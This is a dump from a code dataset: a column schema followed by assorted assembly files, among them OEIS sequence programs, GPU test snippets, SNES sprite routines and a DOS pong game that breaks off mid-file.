hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
c2a487daf40a04bd6bc5fea6a8bacbb42a32257b
1,499
asm
Assembly
programs/oeis/247/A247643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/247/A247643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/247/A247643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A247643: a(n) = ( 10*n*(n+1)+(2*n+1)*(-1)^n+7 )/8. ; 1,3,9,15,27,37,55,69,93,111,141,163,199,225,267,297,345,379,433,471,531,573,639,685,757,807,885,939,1023,1081,1171,1233,1329,1395,1497,1567,1675,1749,1863,1941,2061,2143,2269,2355,2487,2577,2715,2809,2953,3051,3201,3303,3459,3565,3727,3837,4005,4119,4293,4411,4591,4713,4899,5025,5217,5347,5545,5679,5883,6021,6231,6373,6589,6735,6957,7107,7335,7489,7723,7881,8121,8283,8529,8695,8947,9117,9375,9549,9813,9991,10261,10443,10719,10905,11187,11377,11665,11859,12153,12351,12651,12853,13159,13365,13677,13887,14205,14419,14743,14961,15291,15513,15849,16075,16417,16647,16995,17229,17583,17821,18181,18423,18789,19035,19407,19657,20035,20289,20673,20931,21321,21583,21979,22245,22647,22917,23325,23599,24013,24291,24711,24993,25419,25705,26137,26427,26865,27159,27603,27901,28351,28653,29109,29415,29877,30187,30655,30969,31443,31761,32241,32563,33049,33375,33867,34197,34695,35029,35533,35871,36381,36723,37239,37585,38107,38457,38985,39339,39873,40231,40771,41133,41679,42045,42597,42967,43525,43899,44463,44841,45411,45793,46369,46755,47337,47727,48315,48709,49303,49701,50301,50703,51309,51715,52327,52737,53355,53769,54393,54811,55441,55863,56499,56925,57567,57997,58645,59079,59733,60171,60831,61273,61939,62385,63057,63507,64185,64639,65323,65781,66471,66933,67629,68095,68797,69267,69975,70449,71163,71641,72361,72843,73569,74055,74787,75277,76015,76509,77253,77751 mul $0,5 div $0,2 add $0,2 bin $0,2 mov $1,$0 div $1,5 mul $1,2 add $1,1
124.916667
1,371
0.787859
2dba1a114535f9421677a91dfa1e0fb07faf7946
158
asm
Assembly
src/intel/tools/tests/gen9/lzd.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen9/lzd.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen9/lzd.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
lzd(8) g25<1>UD g3.1<0,1,0>UD { align1 1Q }; lzd(16) g27<1>UD g3.1<0,1,0>UD { align1 1H };
52.666667
78
0.335443
68d8c8b2b8c2736ea909686bb33550b6f7404a3d
1,778
asm
Assembly
programs/oeis/084/A084221.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/084/A084221.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/084/A084221.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A084221: a(n+2) = 4*a(n), with a(0)=1, a(1)=3. ; 1,3,4,12,16,48,64,192,256,768,1024,3072,4096,12288,16384,49152,65536,196608,262144,786432,1048576,3145728,4194304,12582912,16777216,50331648,67108864,201326592,268435456,805306368,1073741824,3221225472,4294967296,12884901888,17179869184,51539607552,68719476736,206158430208,274877906944,824633720832,1099511627776,3298534883328,4398046511104,13194139533312,17592186044416,52776558133248,70368744177664,211106232532992,281474976710656,844424930131968,1125899906842624,3377699720527872,4503599627370496,13510798882111488,18014398509481984,54043195528445952,72057594037927936,216172782113783808,288230376151711744,864691128455135232,1152921504606846976,3458764513820540928,4611686018427387904,13835058055282163712,18446744073709551616,55340232221128654848,73786976294838206464,221360928884514619392,295147905179352825856,885443715538058477568,1180591620717411303424,3541774862152233910272,4722366482869645213696,14167099448608935641088,18889465931478580854784,56668397794435742564352,75557863725914323419136,226673591177742970257408,302231454903657293676544,906694364710971881029632,1208925819614629174706176,3626777458843887524118528,4835703278458516698824704,14507109835375550096474112,19342813113834066795298816,58028439341502200385896448,77371252455336267181195264,232113757366008801543585792,309485009821345068724781056,928455029464035206174343168,1237940039285380274899124224,3713820117856140824697372672,4951760157141521099596496896,14855280471424563298789490688,19807040628566084398385987584,59421121885698253195157962752,79228162514264337593543950336,237684487542793012780631851008,316912650057057350374175801344,950737950171172051122527404032 mov $1,2 pow $1,$0 mov $2,$0 mod $2,2 add $2,2 mul $1,$2 div $1,2 mov $0,$1
148.166667
1,651
0.907199
4d603fb25227cb32b5682b1d9424194fab743faf
90
asm
Assembly
kernel/arch/prog.asm
nop-os/nop
c281aae35bbf3a1784620dcacad1d73e8e708b40
[ "MIT" ]
9
2021-11-02T03:54:01.000Z
2022-01-10T23:53:24.000Z
kernel/arch/prog.asm
nop-os/nop
c281aae35bbf3a1784620dcacad1d73e8e708b40
[ "MIT" ]
null
null
null
kernel/arch/prog.asm
nop-os/nop
c281aae35bbf3a1784620dcacad1d73e8e708b40
[ "MIT" ]
1
2021-12-02T19:47:02.000Z
2021-12-02T19:47:02.000Z
global prog_handle extern prog_return prog_handle: push eax call prog_return jmp $
11.25
18
0.777778
3e8b0a5f28655ad901d7c5343eae4f12339b1b8a
685
asm
Assembly
src/capstone/mips/MIDI_percussion_test.asm
mtking2/mips32-sound-sequencer
6cf6e6c91907e58801d0a9f81b62c9c7a1d60194
[ "MIT" ]
1
2017-07-04T02:55:14.000Z
2017-07-04T02:55:14.000Z
src/capstone/mips/MIDI_percussion_test.asm
mtking2/mips32-sound-sequencer
6cf6e6c91907e58801d0a9f81b62c9c7a1d60194
[ "MIT" ]
null
null
null
src/capstone/mips/MIDI_percussion_test.asm
mtking2/mips32-sound-sequencer
6cf6e6c91907e58801d0a9f81b62c9c7a1d60194
[ "MIT" ]
null
null
null
.text li $v0, 38 # MIDI change channel service li, $a0, 9 # MIDI Channel 10 (9) is for GM1 Percussion Set li $a1, 50 # Key number to select instruments syscall li $v0, 37 # MIDI output service li $a0, 50 # First parameter normally sets the pitch but, in the # case of of MIDI channel 10, the pitch actually selects # percussion instrument. li $a1, 500 # duration parameter li $a2, 9 # Normally the instrument parameter. Service 37 uses this # parameter to select the MIDI channel to ouput. li $a3, 127 # volume parameter syscall ## Sleep until next beat ## li $v0, 32 # $v0 = syscall 32 (sleep) # Load time to wait li $a0, 500 # $a0 = &timeToWait syscall
24.464286
69
0.690511
f25409a9e77132477c88a77acbe6af9eda28859a
1,357
asm
Assembly
Reports/Galanin_Pavel/lab1/part2/src/Lab2.asm
Pavel-Innokentevich-Galanin/BrSTU_Computer-Systems-and-Networks
e808879f5ba39b89a6c116ad0d733ea71bbc86bd
[ "Unlicense" ]
null
null
null
Reports/Galanin_Pavel/lab1/part2/src/Lab2.asm
Pavel-Innokentevich-Galanin/BrSTU_Computer-Systems-and-Networks
e808879f5ba39b89a6c116ad0d733ea71bbc86bd
[ "Unlicense" ]
null
null
null
Reports/Galanin_Pavel/lab1/part2/src/Lab2.asm
Pavel-Innokentevich-Galanin/BrSTU_Computer-Systems-and-Networks
e808879f5ba39b89a6c116ad0d733ea71bbc86bd
[ "Unlicense" ]
null
null
null
.MODEL Tiny .STACK 100h .DATA Surname DB 'Galanin',13,10,'$' ; строковая переменная (Surname = "Galanin\n") EmptyString DB 13,10,'$' ; строковая переменная (EmptyString = "\n") N DW 5 ; целочисленная переменная (N = 12) .CODE mov ax, @Data ; установить регистр DS mov ds, ax ; на сегмент с данными ; Задание (вывести N символов со строки) mov dx, OFFSET Surname ; ссылка на сообщение (Surname) mov bx, 1 ; информация будет отображена на экране mov cx, N ; количество букв (N) mov ah, 40h ; функция вывода строки int 21h ; вызов прерывания DOS ; вывод пустой строки mov dx, OFFSET EmptyString ; ссылка на сообщение (EmptyString) mov ah, 9h ; функция DOS вывода строки int 21h ; вызов прерывания DOS ; = = = = = > Задание (вывести циклически строку N-1 раз) sub N, 1 ; разность N и 1 (N = N - 1) mov dx, OFFSET Surname ; ссылка на сообщение (Surname) mov cx, N ; количество проходов цикла (N-1) NextLoop: ; метка для перехода ; ------------------ тело цикла mov ah, 9h ; функция DOS вывода строки int 21h ; вызов прерывания DOS ; ------------------ конец тела цикла loop NextLoop ; повторить CX раз от метки NextLoop mov ax, 4C00h ; функция DOS завершения программы int 21h ; вызов прерывания DOS END
26.096154
79
0.624908
c69fe8de139913954959ac5fef9acc815ce26739
777
asm
Assembly
programs/oeis/010/A010123.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/010/A010123.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/010/A010123.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A010123: Continued fraction for sqrt(14). ; 3,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1,2,1,6,1 mov $1,3 mov $2,$0 lpb $2 mov $1,$2 mov $3,5 add $4,$2 mul $4,2 lpb $3 add $2,3 mov $3,2 trn $4,6 lpe add $1,$4 lpb $3 trn $3,3 add $3,$4 lpe add $3,3 sub $2,$3 trn $2,2 trn $4,$1 lpe
29.884615
501
0.494208
bfeae545bf108b75606ee06ed9d216c2da85aa7f
432
asm
Assembly
programs/oeis/147/A147974.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/147/A147974.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/147/A147974.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A147974: n^3-((n-1)^3+(n-2)^3+(n-3)^3). ; 10,8,18,28,26,0,-62,-172,-342,-584,-910,-1332,-1862,-2512,-3294,-4220,-5302,-6552,-7982,-9604,-11430,-13472,-15742,-18252,-21014,-24040,-27342,-30932,-34822,-39024,-43550,-48412,-53622,-59192,-65134,-71460 mov $4,$0 sub $4,2 mov $2,$4 pow $2,3 mov $1,$2 sub $1,4 add $2,5 mov $3,$4 div $4,$1 mul $0,$4 mov $1,3 sub $1,$2 add $3,5 add $0,$3 mul $0,6 add $1,1 add $1,$0 sub $1,20 mul $1,2
18.782609
207
0.587963
ecdd94288c46723cd361f81e07b995587c3fbc0d
227
asm
Assembly
audio/sfx/intro_lunge.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
audio/sfx/intro_lunge.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
audio/sfx/intro_lunge.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SFX_Intro_Lunge_Ch7: noisenote 6, 2, 0, 16 noisenote 6, 2, -7, 64 noisenote 6, 4, -7, 65 noisenote 6, 8, -7, 65 noisenote 6, 12, -7, 66 noisenote 8, 13, 7, 66 noisenote 15, 14, 7, 67 noisenote 15, 15, 2, 67 endchannel
20.636364
24
0.647577
5942584f2d84905eeb19a56a93d9091d37674907
152
asm
Assembly
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/title_main_usa.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/title_main_usa.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/title_main_usa.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: title_main_usa.asm Type: file Size: 88494 Last-Modified: '1993-07-20T07:13:29Z' SHA-1: 5A2095BBAFB92188199B2070EC406C3162E60F27 Description: null
21.714286
47
0.822368
1ccc850583ab70d382b3113cef6449db1dbe2fc5
548
asm
Assembly
programs/oeis/084/A084182.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/084/A084182.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/084/A084182.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A084182: 3^n+(-1)^n-[1/(n+1)], where [] represents the floor function. ; 1,2,10,26,82,242,730,2186,6562,19682,59050,177146,531442,1594322,4782970,14348906,43046722,129140162,387420490,1162261466,3486784402,10460353202,31381059610,94143178826,282429536482,847288609442 mov $1,2 mov $7,2 lpb $0 add $0,1 mov $2,$7 gcd $2,$0 mul $2,2 mov $5,$7 mov $6,$1 mov $8,$6 mov $6,6 div $6,2 add $6,$5 add $8,1 pow $8,$0 cmp $0,1024 lpe sub $2,$5 mov $3,$6 clr $3,$2 sub $8,5 add $3,$8 add $3,2 mov $1,$3 trn $1,2 div $1,3 add $1,1
17.677419
196
0.636861
b3523125c7ad17df2d98da59e7cac991097b7c53
219
asm
Assembly
libsrc/_DEVELOPMENT/time/c/sdcc/dostm_from_tm_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/time/c/sdcc/dostm_from_tm_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/time/c/sdcc/dostm_from_tm_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void dostm_from_tm(struct dos_tm *,struct tm *) SECTION code_time PUBLIC _dostm_from_tm_callee EXTERN asm_dostm_from_tm _dostm_from_tm_callee: pop af pop hl pop de push af jp asm_dostm_from_tm
12.882353
49
0.748858
b33a74e475453a5638a7280bc370b03b3404214a
4,198
asm
Assembly
LKS/OAM.asm
Kannagi/Super-Kannagi-Sound
d3b078f6501717d67d1d3c5ed2fdb9c89491df0d
[ "MIT" ]
11
2016-10-26T19:32:05.000Z
2020-11-20T11:11:43.000Z
LKS/OAM.asm
KungFuFurby/Super-Kannagi-Sound
bf6696cc7d0bd7843fb0a036a07dcd3ff39ca75e
[ "MIT" ]
null
null
null
LKS/OAM.asm
KungFuFurby/Super-Kannagi-Sound
bf6696cc7d0bd7843fb0a036a07dcd3ff39ca75e
[ "MIT" ]
1
2018-02-17T10:41:14.000Z
2018-02-17T10:41:14.000Z
LKS_OAM4_Clear: lda #-32 sta MEM_OAML + 1,x sta MEM_OAML + 5,x sta MEM_OAML + 9,x sta MEM_OAML + 13,x rtl LKS_OAM_Clear: stz LKS_OAM stz LKS_OAM+1 ;Clear OAM stz MEM_OAMH +$00 stz MEM_OAMH +$01 stz MEM_OAMH +$02 stz MEM_OAMH +$03 stz MEM_OAMH +$04 stz MEM_OAMH +$05 stz MEM_OAMH +$06 stz MEM_OAMH +$07 stz MEM_OAMH +$08 stz MEM_OAMH +$09 stz MEM_OAMH +$0A stz MEM_OAMH +$0B stz MEM_OAMH +$0C stz MEM_OAMH +$0D stz MEM_OAMH +$0E stz MEM_OAMH +$0F stz MEM_OAMH +$10 stz MEM_OAMH +$11 stz MEM_OAMH +$12 stz MEM_OAMH +$13 stz MEM_OAMH +$14 stz MEM_OAMH +$15 stz MEM_OAMH +$16 stz MEM_OAMH +$17 stz MEM_OAMH +$18 stz MEM_OAMH +$19 stz MEM_OAMH +$1A stz MEM_OAMH +$1B stz MEM_OAMH +$1C stz MEM_OAMH +$1D stz MEM_OAMH +$1E stz MEM_OAMH +$1F lda #-32 LKS_OAM4_Clear $00 LKS_OAM4_Clear $01 LKS_OAM4_Clear $02 LKS_OAM4_Clear $03 LKS_OAM4_Clear $04 LKS_OAM4_Clear $05 LKS_OAM4_Clear $06 LKS_OAM4_Clear $07 LKS_OAM4_Clear $08 LKS_OAM4_Clear $09 LKS_OAM4_Clear $0A LKS_OAM4_Clear $0B LKS_OAM4_Clear $0C LKS_OAM4_Clear $0D LKS_OAM4_Clear $0E LKS_OAM4_Clear $0F LKS_OAM4_Clear $10 LKS_OAM4_Clear $11 LKS_OAM4_Clear $12 LKS_OAM4_Clear $13 LKS_OAM4_Clear $14 LKS_OAM4_Clear $15 LKS_OAM4_Clear $16 LKS_OAM4_Clear $17 LKS_OAM4_Clear $18 LKS_OAM4_Clear $19 LKS_OAM4_Clear $1A LKS_OAM4_Clear $1B LKS_OAM4_Clear $1C LKS_OAM4_Clear $1D LKS_OAM4_Clear $1E LKS_OAM4_Clear $1F rtl LKS_OAM_Draw: ;Y rep #$20 lda LKS_OAM+_sprsz and #$FE clc adc LKS_OAM+_spry sta LKS_OAM+_sprtmp1 sep #$20 lda LKS_OAM+_sprtmp1+1 cmp #$00 beq + iny iny iny iny rtl +: ;X droite lda LKS_OAM+_sprx+1 cmp #$01 bmi + iny iny iny iny rtl +: ;X gauche rep #$20 lda LKS_OAM+_sprsz and #$FE clc adc LKS_OAM+_sprx sta LKS_OAM+_sprtmp1 sta LKS_OAM+_sprtmp2 sep #$20 lda LKS_OAM+_sprtmp1+1 cmp #$0 bpl + iny iny iny iny rtl +: rep #$20 tya phy sta LKS_OAM+_sprtmp1 lsr lsr lsr lsr tay sep #$20 lda LKS_OAM+_sprtmp1 and #$0F cmp #$00 bne + lda #$01 bra ++ +: cmp #$04 bne + lda #$04 bra ++ +: cmp #$08 bne + lda #$10 bra ++ +: cmp #$0C bne + lda #$40 bra ++ +: ++: sta LKS_OAM+_sprtmp1 asl sta LKS_OAM+_sprtmp1+1 lda LKS_OAM+_sprsz bit #1 beq + lda MEM_OAMH,y ora LKS_OAM+_sprtmp1+1 sta MEM_OAMH,y +: lda LKS_OAM+_sprtmp2+1 cmp #$1 beq + ;clipping lda LKS_OAM+_sprsz and #$FE clc adc LKS_OAM+_sprx bcc + lda MEM_OAMH,y ora LKS_OAM+_sprtmp1 sta MEM_OAMH,y +: ply ;-------- lda LKS_OAM+_sprx sta MEM_OAML,y iny lda LKS_OAM+_spry sta MEM_OAML,y iny lda LKS_OAM+_sprtile sta MEM_OAML,y iny lda LKS_OAM+_sprext sta MEM_OAML,y iny rtl ;------------------------------------------------- LKS_OAM_Draw_Meta: ;Y rep #$20 lda LKS_OAM+_sprsz and #$F0 lsr a clc adc LKS_OAM+_spry sta LKS_OAM+_sprtmp1 sep #$20 lda LKS_OAM+_sprtmp1+1 cmp #$00 beq + iny iny iny iny rtl +: ;X droite lda LKS_OAM+_sprx+1 cmp #$01 bmi + iny iny iny iny rtl +: ;X gauche rep #$20 lda LKS_OAM+_sprsz and #$0E inc a asl a asl a asl a clc adc LKS_OAM+_sprx sta LKS_OAM+_sprtmp1 sta LKS_OAM+_sprtmp2 sep #$20 lda LKS_OAM+_sprtmp1+1 cmp #$0 bpl + iny iny iny iny rtl +: rep #$20 tya phy sta LKS_OAM+_sprtmp1 lsr lsr lsr lsr tay sep #$20 lda LKS_OAM+_sprtmp1 and #$0F cmp #$00 bne + lda #$01 bra ++ +: cmp #$04 bne + lda #$04 bra ++ +: cmp #$08 bne + lda #$10 bra ++ +: cmp #$0C bne + lda #$40 bra ++ +: ++: sta LKS_OAM+_sprtmp1 asl sta LKS_OAM+_sprtmp1+1 lda LKS_OAM+_sprsz bit #1 beq + lda MEM_OAMH,y ora LKS_OAM+_sprtmp1+1 sta MEM_OAMH,y +: lda LKS_OAM+_sprtmp2+1 cmp #$1 beq + ;clipping lda LKS_OAM+_sprsz and #$FE clc adc LKS_OAM+_sprx bcc + lda MEM_OAMH,y ora LKS_OAM+_sprtmp1 sta MEM_OAMH,y +: ply ;-------- lda LKS_OAM+_sprx sta MEM_OAML,y iny lda LKS_OAM+_spry sta MEM_OAML,y iny lda LKS_OAM+_sprtile sta MEM_OAML,y iny lda LKS_OAM+_sprext sta MEM_OAML,y iny rtl LKS_OAM_Draw_Meta2x1: rtl
10.764103
50
0.63959
d73d3074c411157ffb651e1ff66a39a816f0f832
361
asm
Assembly
programs/oeis/245/A245306.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/245/A245306.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/245/A245306.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A245306: a(n) = Fibonacci(n)^2+1. ; 1,2,2,5,10,26,65,170,442,1157,3026,7922,20737,54290,142130,372101,974170,2550410,6677057,17480762,45765226,119814917,313679522,821223650,2149991425,5628750626,14736260450,38580030725,101003831722,264431464442,692290561601 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. pow $0,2 add $0,1
51.571429
223
0.734072
fcda6a37866cbe91c131fe04e61e8617b6240849
11,624
asm
Assembly
dos_games/Ultimate Pong/v 0.1/ultim.asm
QAston/fasm-2006
efc8911cc8b21da2b73865e30cf4c788048fe536
[ "MIT" ]
null
null
null
dos_games/Ultimate Pong/v 0.1/ultim.asm
QAston/fasm-2006
efc8911cc8b21da2b73865e30cf4c788048fe536
[ "MIT" ]
null
null
null
dos_games/Ultimate Pong/v 0.1/ultim.asm
QAston/fasm-2006
efc8911cc8b21da2b73865e30cf4c788048fe536
[ "MIT" ]
null
null
null
format mz ;program do wyswietlania plikow gpf z rozjasnieniem i wyciemnieniem ;wersja niekozystajaca z instrukcji movsd heap 1000h stack 1000h include 'loader.inc' ;fs= 0-based segment ;ds=es-data segnt cs=code segment gs=wolny segment _code use32 code32: alloc_dos: mov [AErrorMsg],TMemoryErrorMsg mov eax,100h ;alokuj pamiec dosa mov ebx,40h*6 ;400h bajtow 40h paragrafow 1024 bajty int 31h ;do dx=selektor segmentu[PM] do ax=segment [RM] jc error ;jc to blad push dx mov [RMes],ax pop gs ;do edx ofset bufora sel:fs get_vesa: lea edi,[RMRegs] ;edi=indeks do struktury z rejestrami RM mov ebx,0010h ;ebx=przerwanie 10h mov ecx,0 ;cx=liczba slow do skopiowanie do stosu RM mov [RMeax],4f00h ;funkcja pobierz informacje SVGA mov eax,0300h ;funkcja symuluj przerwanie 16-bit int 31h mov [AErrorMsg],TDPMIErrorMsg jc error mov [AErrorMsg],TVESAErrorMsg cmp [RMeax],004fh jne error ;gs:0 bufor na informacje SVGA cmp dword[gs:0],'VESA' ;sprawdz, czy VESA obslugiwana jne error mov ax,[gs:10h] ;DWORD w gs:0eh=adres shl eax,4 mov ax,[gs:0eh] ;eax=adres struktury z obslugiwanymi modulami detect_mode: ;petla sprawdzania obslugi mode 101h mov dx,[fs:eax] cmp dx,0ffffh je error ;je to nie obsluguje add eax,2 cmp dx,101h ;sprawdz czy obsluguje 101h jne detect_mode get_101: mov [RMeax],4f01h ;emuluj funkcje 4f01h int 10h mov [RMecx],edx mov eax,0300h int 31h cmp [RMeax],004fh jne error mov eax,4f03h int 10h mov [OldVideoMode],bx ;pobierz stary tryb mov eax,4f02h mov ebx,101h ;zmien tryb na 101h int 10h cmp eax,004fh jne error ;przygotowania- rezultat: ;ds_=code es=_code fs=0-based gs= selektor zaalokowanej pamieci DOS ;RMeax=004fh RMecx=101h RMes=segment zaalokowanej pamieci DOS ;OldVideoMode= stary tryb wideo ;eax=004fh ebx=101h ecx=0 edx=101h edi=RMRegs esi?=431 ebp?=447 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ;wyswietlanie mov ax,0204h ; zmien int 09 mov ebx,09 int 31h mov [OfsOldKeyInt],edx mov [SelOldKeyInt],cx mov ax,0205h ; zmien int 09 mov edx,keyboard_int push cs pop cx mov ebx,09 int 31h mov edx,LogoName call open_file call aloc_file_memory push si pop ds mov ecx,4 mov esi,1024 xor edx,edx ;ebx uchwyt pliku mov ebx,[es:FileHandle] prepare_palettes: ;dzialanie: tworzy z 1 6 palet ,kazda nastepna jest ciemniejsza ;wymaga: ebx=uchwyt pliku ecx=4 edx=bufor na palete ds=aloc esi=1024 ;niszczy: eax,ebx,esi,edx,bp,edi ;zwraca: esi=0 bp=0 edx=1024 mov eax,3f00h int 21h call copy_palette inc edx call copy_palette inc edx call copy_palette inc edx call copy_palette inc edx sub esi,ecx jnz prepare_palettes push ebx mov esi,1024*6 call move_palette call set_palette_p pop ebx ;przywroc uchwyt pliku call get_picture_p mov eax,3e00h int 21h mov esi,1024*7 call get_video push es pop ds call show_video_p mov ecx,70 call make_delay push [SelAloc] pop ds mov ecx,6 mov esi,1024*5 ;wymagane przez move_palette @@: push esi ecx call move_palette mov ecx,8 call make_delay call set_palette pop ecx esi sub esi,1024 loop @r mov ecx,80 call make_delay mov esi,1024 ;wymagane przez move_palette mov ecx,6 @@: push esi ecx call move_palette mov ecx,8 call make_delay call set_palette pop ecx esi add esi,1024 loop @r mov ecx,20 call make_delay mov [Key],0 call free_aloc push es pop ds ;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&logo wyswietlone&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ;config create or read mov edx,FConfigName mov ax,4300h int 21h jnc config_exists mov ax,3c00h ;02 to write xor ecx,ecx int 21h mov ebx,eax mov edx,DefaultKeys mov ecx,18 mov eax,4000h int 21h ;gdy plik nie istnieje utworz go i zaladuj standardowe ustawienia shr ecx,2 mov edi,UsersKeys mov esi,DefaultKeys rep movsd jmp config_created config_exists: call open_file mov ax,3f00h mov cx,18 mov edx,UsersKeys ;odczytaj ustawienia klawiszy, gdy plik istnieje int 21h config_created: mov eax,3e00h ;zamknij plik int 21h mov edx,FMenuName call open_file call aloc_file_memory mov ebp,[es:FileHandle] push gs pop ds ; call load_palette push [SelAloc] pop ds ; ; call get_picture_p ; mov eax,3e00h ; int 